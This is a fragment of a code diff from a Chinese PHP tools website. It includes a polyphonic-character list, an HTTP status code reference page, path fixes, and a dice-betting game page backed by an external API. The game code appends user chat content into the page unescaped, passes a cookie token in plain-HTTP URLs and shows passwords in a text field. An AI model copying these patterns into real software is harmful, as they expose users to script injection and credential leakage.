11. 吁 ① yù 呼吁. 吁求② yū 吆喝牲口(象形词)③ xū 长吁短叹 气喘吁吁
|
||||
12. 晕 ① yūn 晕倒头晕② yùn 月晕 晕车
|
||||
常用多音字大全(Z部)
|
||||
1. 载 ① zǎi 登载 转载千载难逢② zài 装载 载运 载歌载舞
|
||||
2. 择 ① zé 选择 抉择② zhái 择菜 择席 择不开(仅此三词)
|
||||
3. 扎 ① zhá 挣扎② zhā 扎根 扎实③ zā 扎彩(捆束义)一扎啤酒
|
||||
4. 轧 ① zhá 轧钢 轧辊 (挤制义)② yà 倾轧 轧花 轧场(碾压义)
|
||||
5. 粘 ① zhān (动词义)粘贴 粘连② nián (形容词)粘稠 粘土
|
||||
6. 涨 ① zhǎng 涨落高涨② zhàng 泡涨 脑涨
|
||||
7. 着 ① zháo 着急 着迷着凉② zhuó 着落 着重 着手③ zhāo 失着 着数 高着(招)
|
||||
8. 正 ① zhēng 正月正旦(农历正月初一)② zhèng 正常 正旦(戏中称女主角)
|
||||
9. 殖 ① zhí 繁殖 殖民② shi 骨殖
|
||||
10. 中 ① zhōng 中国. 人中(穴位)② zhòng 中奖 中靶
|
||||
11. 种 ① zhǒng 种类种族 点种(种子)② zhòng 耕种 种植 点种(播种)
|
||||
12. 轴 ① zhóu 画轴轮轴② zhòu 大轴戏 压轴戏
|
||||
13. 属 ① zhǔ 属望 属文属意② shǔ 种属 亲属
|
||||
14. 著 ① zhù 著名著述② zhe 同“着”助词③ zhúo 同“着”动词 穿著 附著
|
||||
15. 转 ① zhuǎn 转运转折② zhuàn 转动 转速
|
||||
16. 幢 ① zhuàng 一幢楼房② chuáng 经幢
|
||||
17. 综 ① zèng 织机零件之一② zōng 综合 错综
|
||||
18. 钻 ① zuān 钻探钻孔② zuàn 钻床 钻杆
|
||||
19. 柞 ① zuò 柞蚕柞绸② zhà 柞水(在陕西)
|
||||
20. 作 ① zuō 作坊铜器作② zuò 工作 习作
|
|
@ -0,0 +1,265 @@
|
|||
<?php
|
||||
$id="29";
|
||||
include '../../header.php';?>
|
||||
<div class="container clearfix">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">网站状态码</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<div class="col-md-6 col-md-offset-3">
|
||||
<div class="form-group">
|
||||
<label for="inputEmail3" class="col-sm-2 control-label">域名</label>
|
||||
<div class="col-sm-10">
|
||||
<input type="text" class="form-control" id="form-control" placeholder="域名">
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-controlss text-lefter">
|
||||
<div id="content"><?php echo $content;?></div>
|
||||
<div id="msg"></div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<div class="col-sm-offset-2 col-sm-10">
|
||||
<button type="submit" class="btn btn-default" id="btn_state">查询</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">状态码表</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<table class="table table-bordered">
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>状态码</th>
|
||||
<th>状态码英文名称</th>
|
||||
<th>中文描述</th>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>100</td>
|
||||
<td>Continue</td>
|
||||
<td>继续.客户端应继续其请求</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>101</td>
|
||||
<td>Switching Protocols</td>
|
||||
<td>切换协议。服务器根据客户端的请求切换协议。只能切换到更高级的协议,例如,切换到HTTP的新版本协议</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td colspan="3"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>200</td>
|
||||
<td>OK</td>
|
||||
<td>请求成功。一般用于GET与POST请求</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>201</td>
|
||||
<td>Created</td>
|
||||
<td>已创建。成功请求并创建了新的资源</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>202</td>
|
||||
<td>Accepted</td>
|
||||
<td>已接受。已经接受请求,但未处理完成</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>203</td>
|
||||
<td>Non-Authoritative Information</td>
|
||||
<td>非授权信息。请求成功。但返回的meta信息不在原始的服务器,而是一个副本</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>204</td>
|
||||
<td>No Content</td>
|
||||
<td>无内容。服务器成功处理,但未返回内容。在未更新网页的情况下,可确保浏览器继续显示当前文档</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>205</td>
|
||||
<td>Reset Content</td>
|
||||
<td>重置内容。服务器处理成功,用户终端(例如:浏览器)应重置文档视图。可通过此返回码清除浏览器的表单域</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>206</td>
|
||||
<td>Partial Content</td>
|
||||
<td>部分内容。服务器成功处理了部分GET请求</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td colspan="3"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>300</td>
|
||||
<td>Multiple Choices</td>
|
||||
<td>多种选择。请求的资源可包括多个位置,相应可返回一个资源特征与地址的列表用于用户终端(例如:浏览器)选择</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>301</td>
|
||||
<td>Moved Permanently</td>
|
||||
<td>永久移动。请求的资源已被永久的移动到新URI,返回信息会包括新的URI,浏览器会自动定向到新URI。今后任何新的请求都应使用新的URI代替</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>302</td>
|
||||
<td>Found</td>
|
||||
<td>临时移动。与301类似。但资源只是临时被移动。客户端应继续使用原有URI</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>303</td>
|
||||
<td>See Other</td>
|
||||
<td>查看其它地址。与301类似。使用GET和POST请求查看</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>304</td>
|
||||
<td>Not Modified</td>
|
||||
<td>未修改。所请求的资源未修改,服务器返回此状态码时,不会返回任何资源。客户端通常会缓存访问过的资源,通过提供一个头信息指出客户端希望只返回在指定日期之后修改的资源</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>305</td>
|
||||
<td>Use Proxy</td>
|
||||
<td>使用代理。所请求的资源必须通过代理访问</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>306</td>
|
||||
<td>Unused</td>
|
||||
<td>已经被废弃的HTTP状态码</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>307</td>
|
||||
<td>Temporary Redirect</td>
|
||||
<td>临时重定向。与302类似。使用GET请求重定向</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td colspan="3"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>400</td>
|
||||
<td>Bad Request</td>
|
||||
<td>客户端请求的语法错误,服务器无法理解</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>401</td>
|
||||
<td>Unauthorized</td>
|
||||
<td>请求要求用户的身份认证</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>402</td>
|
||||
<td>Payment Required</td>
|
||||
<td>保留,将来使用</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>403</td>
|
||||
<td>Forbidden</td>
|
||||
<td>服务器理解请求客户端的请求,但是拒绝执行此请求</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>404</td>
|
||||
<td>Not Found</td>
|
||||
<td>服务器无法根据客户端的请求找到资源(网页)。通过此代码,网站设计人员可设置"您所请求的资源无法找到"的个性页面</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>405</td>
|
||||
<td>Method Not Allowed</td>
|
||||
<td>客户端请求中的方法被禁止</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>406</td>
|
||||
<td>Not Acceptable</td>
|
||||
<td>服务器无法根据客户端请求的内容特性完成请求</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>407</td>
|
||||
<td>Proxy Authentication Required</td>
|
||||
<td>请求要求代理的身份认证,与401类似,但请求者应当使用代理进行授权</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>408</td>
|
||||
<td>Request Time-out</td>
|
||||
<td>服务器等待客户端发送的请求时间过长,超时</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>409</td>
|
||||
<td>Conflict</td>
|
||||
<td>服务器完成客户端的PUT请求是可能返回此代码,服务器处理请求时发生了冲突</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>410</td>
|
||||
<td>Gone</td>
|
||||
<td>客户端请求的资源已经不存在。410不同于404,如果资源以前有现在被永久删除了可使用410代码,网站设计人员可通过301代码指定资源的新位置</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>411</td>
|
||||
<td>Length Required</td>
|
||||
<td>服务器无法处理客户端发送的不带Content-Length的请求信息</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>412</td>
|
||||
<td>Precondition Failed</td>
|
||||
<td>客户端请求信息的先决条件错误</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>413</td>
|
||||
<td>Request Entity Too Large</td>
|
||||
<td>由于请求的实体过大,服务器无法处理,因此拒绝请求。为防止客户端的连续请求,服务器可能会关闭连接。如果只是服务器暂时无法处理,则会包含一个Retry-After的响应信息</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>414</td>
|
||||
<td>Request-URI Too Large</td>
|
||||
<td>请求的URI过长(URI通常为网址),服务器无法处理</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>415</td>
|
||||
<td>Unsupported Media Type</td>
|
||||
<td>服务器无法处理请求附带的媒体格式</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>416</td>
|
||||
<td>Requested range not satisfiable</td>
|
||||
<td>客户端请求的范围无效</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>417</td>
|
||||
<td>Expectation Failed</td>
|
||||
<td>服务器无法满足Expect的请求头信息</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td colspan="3"></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>500</td>
|
||||
<td>Internal Server Error</td>
|
||||
<td>服务器内部错误,无法完成请求</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>501</td>
|
||||
<td>Not Implemented</td>
|
||||
<td>服务器不支持请求的功能,无法完成请求</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>502</td>
|
||||
<td>Bad Gateway</td>
|
||||
<td>充当网关或代理的服务器,从远端服务器接收到了一个无效的请求</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>503</td>
|
||||
<td>Service Unavailable</td>
|
||||
<td>由于超载或系统维护,服务器暂时的无法处理客户端的请求。延时的长度可包含在服务器的Retry-After头信息中</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>504</td>
|
||||
<td>Gateway Time-out</td>
|
||||
<td>充当网关或代理的服务器,未及时从远端服务器获取请求</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>505</td>
|
||||
<td>HTTP Version not supported</td>
|
||||
<td>服务器不支持请求的HTTP协议的版本,无法完成处理</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript" src="StatusCode.php"></script>
|
||||
<?php include '../../footer.php';?>
|
Before Width: | Height: | Size: 745 B After Width: | Height: | Size: 745 B |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 19 KiB |
|
@ -1,6 +1,6 @@
|
|||
<?php
|
||||
$id="20";
|
||||
include '../header.php';?>
|
||||
include '../../header.php';?>
|
||||
<link href="style.css" rel="stylesheet" type="text/css">
|
||||
<style>
|
||||
/*针对排版做的一点调整*/
|
||||
|
@ -39,4 +39,4 @@ include '../header.php';?>
|
|||
</div>
|
||||
</div>
|
||||
<script type="text/javascript" src="lmbtfy.php"></script>
|
||||
<?php include '../footer.php';?>
|
||||
<?php include '../../footer.php';?>
|
|
@ -1,6 +1,6 @@
|
|||
<?php
|
||||
$id="1";
|
||||
include '../header.php';?>
|
||||
include '../../header.php';?>
|
||||
<div class="container clearfix">
|
||||
<div class="row row-xs">
|
||||
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-10 col-xs-offset-1 col-sm-offset-3 col-md-offset-3 col-lg-offset-3">
|
||||
|
@ -46,4 +46,4 @@ include '../header.php';?>
|
|||
</div>
|
||||
</div>
|
||||
<script type="text/javascript" src="code.php"></script>
|
||||
<?php include '../footer.php';?>
|
||||
<?php include '../../footer.php';?>
|
|
@ -1,6 +1,6 @@
|
|||
<?php
|
||||
$id="17";
|
||||
include '../header.php';?>
|
||||
include '../../header.php';?>
|
||||
<div class="container clearfix">
|
||||
<div class="row row-xs">
|
||||
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-10 col-xs-offset-1 col-sm-offset-3 col-md-offset-3 col-lg-offset-3">
|
||||
|
@ -26,4 +26,4 @@ include '../header.php';?>
|
|||
</div>
|
||||
</div>
|
||||
<script type="text/javascript" src="cs.php"></script>
|
||||
<?php include '../footer.php';
|
||||
<?php include '../../footer.php';
|
|
@ -1,6 +1,6 @@
|
|||
<?php
|
||||
$id="28";
|
||||
include '../header.php';
|
||||
include '../../header.php';
|
||||
$string = <<<html
|
||||
/* 美化:格式化代码,使之容易阅读 */
|
||||
/* 净化:将代码单行化,并去除注释 */
|
||||
|
@ -87,4 +87,4 @@ html;
|
|||
});
|
||||
}
|
||||
</script>
|
||||
<?php include '../footer.php';?>
|
||||
<?php include '../../footer.php';?>
|
After Width: | Height: | Size: 2.8 KiB |
After Width: | Height: | Size: 2.8 KiB |
After Width: | Height: | Size: 3.0 KiB |
After Width: | Height: | Size: 2.9 KiB |
After Width: | Height: | Size: 2.9 KiB |
After Width: | Height: | Size: 2.9 KiB |
|
@ -0,0 +1,405 @@
|
|||
<?php
|
||||
$id = '38';
|
||||
include '../../header.php';
|
||||
ob_start();
|
||||
if(getParam('xiao')||getParam('da')||getParam('dan')||getParam('shuang')||getParam('baozi')){
|
||||
$da = getParam('da') ? getParam('da') : '0';
|
||||
$xiao = getParam('xiao') ? getParam('xiao') : '0';
|
||||
$dan = getParam('dan') ? getParam('dan') : '0';
|
||||
$shuang = getParam('shuang') ? getParam('shuang') : '0';
|
||||
$baozi =getParam('baozi') ? getParam('baozi') : '0';
|
||||
$arra = array('da','xiao','dan','shuang','baozi');
|
||||
$arr_mamey = array($da,$xiao,$dan,$shuang,$baozi);
|
||||
$ya_msg = '';
|
||||
for ($i=0; $i < count($arra); $i++) {
|
||||
$type = $arra[$i];
|
||||
switch ($type) {
|
||||
case 'da':
|
||||
$types = '大';
|
||||
break;
|
||||
case 'xiao':
|
||||
$types = '小';
|
||||
break;
|
||||
case 'dan':
|
||||
$types = '单';
|
||||
break;
|
||||
case 'shuang':
|
||||
$types = '双';
|
||||
break;
|
||||
case 'baozi':
|
||||
$types = '豹子';
|
||||
break;
|
||||
default:
|
||||
$types = '';
|
||||
break;
|
||||
}
|
||||
$mamey = $arr_mamey[$i];
|
||||
if(yazhu($type,$mamey)){
|
||||
if ($arr_mamey[$i]) {
|
||||
$ya_msg.= "押注".$types."成功<br/>";
|
||||
}
|
||||
}else{
|
||||
if ($arr_mamey[$i]) {
|
||||
$ya_msg.= "押注".$types."失败<br/>";
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
$ys_msgs = "layer.alert('".$ya_msg."');window.location.href='index.php';";
|
||||
}
|
||||
$cookie = $_COOKIE['username'] ? $_COOKIE['username'] : '';
|
||||
|
||||
$url = curl_request('http://api.yum6.cn/dice_game/index.php/index/yal?type=index&token='.$cookie);
|
||||
|
||||
|
||||
//$url = file_get_contents('https://api.yum6.cn/dice_game/index.php/index/yal?type=index');
|
||||
|
||||
$json = json_decode($url,1);
|
||||
|
||||
if ($json['code']=='210') {
|
||||
$dqqishu = $json['dqqishu'];
|
||||
$outtime = $json['outtime'];
|
||||
$last_qishu = $json['last']['qishu'];
|
||||
$last_jssum = $json['last']['jssum'];
|
||||
$last_dianshu1 = $json['last']['dianshu1'];
|
||||
$last_dianshu2 = $json['last']['dianshu2'];
|
||||
$last_dianshu3 = $json['last']['dianshu3'];
|
||||
$last_dianshustate = $json['last']['dianshustate'];
|
||||
|
||||
$daycount_n = $json['daycount']['countn'];
|
||||
$daycount_m = $json['daycount']['countm'];
|
||||
$yazhu_da = $json['yazhu']['da'];
|
||||
$yazhu_xiao = $json['yazhu']['xiao'];
|
||||
$yazhu_dan = $json['yazhu']['dan'];
|
||||
$yazhu_shuang = $json['yazhu']['shuang'];
|
||||
$yazhu_baozi = $json['yazhu']['baozi'];
|
||||
if($json['userstate']['code']!='206'){
|
||||
$user_state = $json['userstate']['userstate'];
|
||||
$user_id = $json['userstate']['userid'];
|
||||
$user_name = $json['userstate']['username'];
|
||||
$user_jinbi = $json['userstate']['jinbi'];
|
||||
$user_da = $json['userstate']['da'];
|
||||
$user_xiao = $json['userstate']['xiao'];
|
||||
$user_dan = $json['userstate']['dan'];
|
||||
$user_shuang = $json['userstate']['shuang'];
|
||||
$user_baozi = $json['userstate']['baozi'];
|
||||
}
|
||||
}else{
|
||||
eixt('数据接口获取失败');
|
||||
}
|
||||
|
||||
function yazhu($type,$mamey){
|
||||
$cookie = $_COOKIE['username'] ? $_COOKIE['username'] : '';
|
||||
$arr = array('type'=>$type,'mamey'=>$mamey);
|
||||
$ya_url = curl_request('http://api.yum6.cn/dice_game/index.php/index/yal?token='.$cookie,$arr);
|
||||
//$ya_url = request_post('https://api.yum6.cn/dice_game/index.php/index/yal',$arr);
|
||||
//var_dump($ya_url);
|
||||
$ya_json = json_decode($ya_url,1);
|
||||
if($ya_json['msg']=='押注成功'){
|
||||
return true;
|
||||
}else{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
||||
<style type="text/css">
|
||||
#dianshuimg img{width:50px;}
|
||||
.shouye-header{padding-top: 10px;}
|
||||
.shouye-b input{width: 100px;}
|
||||
</style>
|
||||
<div class="container">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel panel-info">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">骰子游戏</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<ul id="myTab" class="nav nav-tabs">
|
||||
<li class="active"><a href="#shouye" data-toggle="tab">首页</a></li>
|
||||
<li><a href="#user" data-toggle="tab">用户信息</a></li>
|
||||
<li><a href="#touzhu" data-toggle="tab">投注记录</a></li>
|
||||
<li><a href="#lishicx" data-toggle="tab">历史查询</a></li>
|
||||
<li><a href="#gamegz" data-toggle="tab">游戏规则</a></li>
|
||||
<li><a href="#talk" data-toggle="tab" class="talk-list" >交流区</a></li>
|
||||
|
||||
</ul>
|
||||
|
||||
<div id="myTabContent" class="tab-content">
|
||||
<div class="tab-pane fade in active" id="shouye">
|
||||
<div class="shouye-header">
|
||||
<h4>数据汇总</h4>
|
||||
<p>今日掷骰总数: <b id="countn"><?php echo $daycount_n;?></b></p>
|
||||
<p>今日掷骰总金币:<b id="countm"><?php echo $daycount_m;?></b></p>
|
||||
</div>
|
||||
<hr/>
|
||||
<div class="shouye-b">
|
||||
<h4>第<b id="qishu"><?php echo $dqqishu;?></b>期</h4>
|
||||
<p>剩余<b id="outime"><?php echo $outtime;?></b>秒开蛊,买大买小买定离手</p>
|
||||
<form action="index.php" method="post">
|
||||
<p>小(1赔2)(<b id="xiao_val"><?php echo $yazhu_xiao;?></b>金币) <input type="number" id="xiao" class="yazhu" class="form-control" name="xiao"></p>
|
||||
<p>大(1赔2)(<b id="da_val"><?php echo $yazhu_da;?></b>金币) <input type="number" id="da" class="yazhu" class="form-control" name="da"></p>
|
||||
<p>单(1赔2)(<b id="dan_val"><?php echo $yazhu_dan;?></b>金币) <input type="number" id="dan" class="yazhu" class="form-control" name="dan"></p>
|
||||
<p>双(1赔2)(<b id="shuang_val"><?php echo $yazhu_shuang;?></b>金币) <input type="number" id="shuang" class="yazhu" class="form-control" name="shuang"></p>
|
||||
<p>豹子(1赔10)(<b id="baozi_val"><?php echo $yazhu_baozi;?></b>金币) <input type="number" id="baozi" class="yazhu" class="form-control" name="baozi"></p>
|
||||
<button type="submit" class="btn btn-info">押注提交</button>
|
||||
</form>
|
||||
</div>
|
||||
<hr/>
|
||||
<div class="shouye-last">
|
||||
<div class="shouye-header">
|
||||
<h4>上一期开奖结果</h4>
|
||||
<p>上<b id="lastqishu"><?php echo $last_qishu;?></b>期点数<b id="dianshu"><?php echo $last_dianshu1.$last_dianshu2.$last_dianshu3;?></b> <b id="dianshustate"><?php echo $last_dianshustate;?></b>赢家获得<b id="jiesuan"><?php echo $last_jssum;?></b>金币</p>
|
||||
<p id="dianshuimg"><img src="images/<?php echo $last_dianshu1;?>.png"><img src="images/<?php echo $last_dianshu2;?>.png"><img src="images/<?php echo $last_dianshu3;?>.png"></p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="tab-pane fade" id="user">
|
||||
<div class="shouye-header">
|
||||
<h4>用户信息</h4>
|
||||
<?php if($json['userstate']['user_state']=='0'){?>
|
||||
<p>用户未登录</p>
|
||||
|
||||
<p>用户名:<input type="text" name="username" id="username" class="form-control"></p>
|
||||
<p>用户密码:<input type="text" name="password" id="password" class="form-control"></p>
|
||||
<input type="submit" id="login" value="登陆" class="btn btn-primary" onclick="login();">
|
||||
<input type="submit" id="signup" value="注册" class="btn btn-info" onclick="signup();">
|
||||
|
||||
<?php }else{?>
|
||||
<p>用户名:<b id="username"><?php echo $user_name;?></b></p>
|
||||
<p>用户ID:<b id="userid"><?php echo $user_id;?></b></p>
|
||||
<p>携带金币:<b id="usermeny"><?php echo $user_jinbi;?></b></p>
|
||||
<h4>押注情况</h4>
|
||||
<p>大:<b id="user_da"><?php echo $user_da;?></b>金币</p>
|
||||
<p>小:<b id="user_xiao"><?php echo $user_xiao;?></b>金币</p>
|
||||
<p>单:<b id="user_dan"><?php echo $user_dan;?></b>金币</p>
|
||||
<p>双:<b id="user_shuang"><?php echo $user_shuang;?></b>金币</p>
|
||||
<p>豹子:<b id="user_baozi"><?php echo $user_baozi;?></b>金币</p>
|
||||
<a href="javascript:out_user()" id="out_user">退出登录</a>
|
||||
<?php }?>
|
||||
</div>
|
||||
</div>
|
||||
<div class="tab-pane fade" id="touzhu">
|
||||
<div class="shouye-header">
|
||||
<h4>投注记录</h4>
|
||||
<p>会员ID:<input type="number" name="userid" id="userid_q" value="<?php echo $user_id;?>" class="form-control"></p>
|
||||
<p>查询期数:<input type="number" name="qishu" id="qishu_q" value="<?php echo $dqqishu;?>" class="form-control"></p>
|
||||
<input type="submit" id="get_tz" value="查询" class="btn btn-warning" onclick="query();">
|
||||
<p><ol id="que"> </ol></p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="tab-pane fade" id="lishicx">
|
||||
<div class="shouye-header">
|
||||
<h4>历史记录</h4>
|
||||
<p>显示以往十期的开奖记录</p>
|
||||
<p class="form-inline">期数:<input type="number" id="ls_qishu" class="form-control"><input class="btn btn-link" type="submit" id="qishu_get" value="查找" onclick="qishu_get();"></p>
|
||||
<p><ol class="list" id="list"></ol></p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="tab-pane fade" id="gamegz">
|
||||
<div class="shouye-header">
|
||||
<h4>游戏规则</h4>
|
||||
<div class="well well-lg">
|
||||
<ol>
|
||||
<li>小:4,5,6,7,8,9,10</li>
|
||||
<li>大:11,12,13,14,15,16,17</li>
|
||||
<li>单:5,7,9,11,13,15,17</li>
|
||||
<li>双:4,6,8,10,12,14,16</li>
|
||||
<li>豹子:三个骰子点数相同</li>
|
||||
<li>每次赢家获得奖金90%</li>
|
||||
<li>每期最多投50000金币</li>
|
||||
<li>五分钟开盘一次</li>
|
||||
</ol>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="tab-pane fade" id="talk">
|
||||
<div class="shouye-header">
|
||||
<h4>用户交流区</h4>
|
||||
<p>谨慎发言,否则封IP</p>
|
||||
<p id="talk_content" class="talk_content"></p>
|
||||
<hr/>
|
||||
<div class="form-group">
|
||||
<label for="exampleInputEmail1">留言内容:</label><span style="color:red;">*</span>
|
||||
<textarea class="form-control" rows="5" id="content" placeholder="文明交流……" name="content" required="required"></textarea>
|
||||
</div>
|
||||
<input type="submit" id="talk_get" value="发布" class="btn btn-info" onclick="talk_get();">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="panel panel-default">
|
||||
<div class="panel panel-info">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">项目介绍</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<h3>项目简介:</h3>
|
||||
<p>作者:涛 or 杰</p>
|
||||
<p>这是一个纯json实现的一个在线小游戏,具体玩法参考游戏规则</p>
|
||||
<p>项目文档已发布到api文档中</p>
|
||||
<p>地址:<a href="http://doc.yum6.cn/web/#/1?page_id=24" target="_blank">http://doc.yum6.cn/web/#/1?page_id=24</a></p>
|
||||
<p>项目目前可实现多平台对接</p>
|
||||
<p>可参与web,机器人,app等平台移植开发使用</p>
|
||||
<h3>声明:</h3>
|
||||
<p>《刑法》第三百零三条规定:“以营利为目的,聚众赌博、开设赌场或者以赌博为业的,处三年以下有期徒刑、拘役或者管制,并处罚金。</p>
|
||||
<p>本项目只是概率小游戏并不涉及盈利,请无脑用户带上脑子</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script type="text/javascript">
|
||||
<?php if($ys_msgs){echo $ys_msgs;}?>
|
||||
// function login(){
|
||||
// var username = $('#username').val();
|
||||
// var password = $('#password').val();
|
||||
// $.post('login.php',{username:username,password:password},function(data){
|
||||
// if (data.code == '200') {
|
||||
// layer.alert(data.msg);
|
||||
// window.location.href="index.php";
|
||||
// }else{
|
||||
// layer.alert(data.msg);
|
||||
// }
|
||||
// })
|
||||
// }
|
||||
function settime(outtime) {
|
||||
if (outtime == 0) {
|
||||
window.location.reload();
|
||||
} else {
|
||||
$('#outime').html(outtime);
|
||||
outtime--;
|
||||
}
|
||||
setTimeout(function() {
|
||||
settime(outtime)
|
||||
},950)
|
||||
}
|
||||
$(function(){
|
||||
settime('<?php if($outtime){echo $outtime;}else{echo '999';};?>');
|
||||
});
|
||||
|
||||
function query(){
|
||||
var type= "ya";
|
||||
var userid = $('#userid_q').val();
|
||||
var qishu = $('#qishu_q').val();
|
||||
if(userid==''||qishu==''){
|
||||
layer.msg('所有项都不能为空');
|
||||
return false;
|
||||
}
|
||||
$.post('https://api.yum6.cn/dice_game/index.php/query/query/query',{type:type,userid:userid,qishu:qishu},function(data){
|
||||
if(data.code=='200'){
|
||||
layer.msg('查询完毕');
|
||||
if(data.state['msg'] == '输'){state = '损失'}else{state = '盈利'}
|
||||
$('#que').append('<li>期数:'+data.qishu+'开'+data.dianshustate+'('+'押注:大'+data.da+'小'+data.xiao+'单'+data.dan+'双'+data.shuang+'豹子'+data.baozi+')'+' 共计'+state+data.state['num']+'金币</li>');
|
||||
}else if(data.code=='201'){
|
||||
$('#que').append('<li>期数:'+data.qishu+'未开</li>');
|
||||
}else{
|
||||
layer.msg(data.msg);
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
$.getJSON("https://api.yum6.cn/dice_game/index.php/query/query/query?type=lishi",function(data){
|
||||
if (data[0]) {
|
||||
for(var a=0;a<data.length;a++){
|
||||
var qishu = data[a]['qishu'];
|
||||
var dianshu1 = data[a]['dianshu1'];
|
||||
var dianshu2 = data[a]['dianshu2'];
|
||||
var dianshu3 = data[a]['dianshu3'];
|
||||
var dianshustate = data[a]['dianshustate'];
|
||||
$('#list').append('<li>第'+qishu+'期开'+dianshu1+dianshu2+dianshu3+' '+dianshustate+'</li>');
|
||||
}
|
||||
}else{
|
||||
layer.msg('历史列表通信错误');
|
||||
}
|
||||
});
|
||||
function qishu_get()
|
||||
{
|
||||
var qishu = $('#ls_qishu').val();
|
||||
var type = 'lishi';
|
||||
$.post("https://api.yum6.cn/dice_game/index.php/query/query/query",{type:type,qishu:qishu},function(data){
|
||||
if (data['code']=="201"){
|
||||
layer.msg('查询完毕');
|
||||
var qishu = data['qishu'];
|
||||
$('#list').append('<li>第'+qishu+'期开未开</li>');
|
||||
}else if(data['code']=="200"){
|
||||
layer.msg('查询完毕');
|
||||
var qishu = data['qishu'];
|
||||
var dianshu1 = data['dianshu1'];
|
||||
var dianshu2 = data['dianshu2'];
|
||||
var dianshu3 = data['dianshu3'];
|
||||
var dianshustate = data['dianshustate'];
|
||||
$('#list').append('<li>第'+qishu+'期开'+dianshu1+dianshu2+dianshu3+' '+dianshustate+'</li>');
|
||||
}else{
|
||||
layer.msg(data.msg);
|
||||
}
|
||||
});
|
||||
}
|
||||
$(function(){
|
||||
$.getJSON("https://api.yum6.cn/dice_game/index.php/index/talk/talk_list",function(data){
|
||||
if(data){
|
||||
for(var c =0;c< data.length;c++){
|
||||
$('#talk_content').append('<div class="talk_list"><blockquote><p><b>'+data[c]['username']+'</b>:'+data[c]['content']+'</p><footer>'+data[c]['time']+'</footer></blockquote></div>');
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
function login(){
|
||||
var username = $('#username').val();
|
||||
var password = $('#password').val();
|
||||
$.post('login.php',{username:username,password:password},function(data){
|
||||
if (data.code == '200') {
|
||||
layer.alert(data.msg);
|
||||
window.location.href="index.php";
|
||||
}else{
|
||||
layer.alert(data.msg);
|
||||
}
|
||||
})
|
||||
}
|
||||
function signup(){
|
||||
var username = $('#username').val();
|
||||
var password = $('#password').val();
|
||||
$.post('https://api.yum6.cn/dice_game/index.php/user/user/zc',{username:username,password:password},function(data){
|
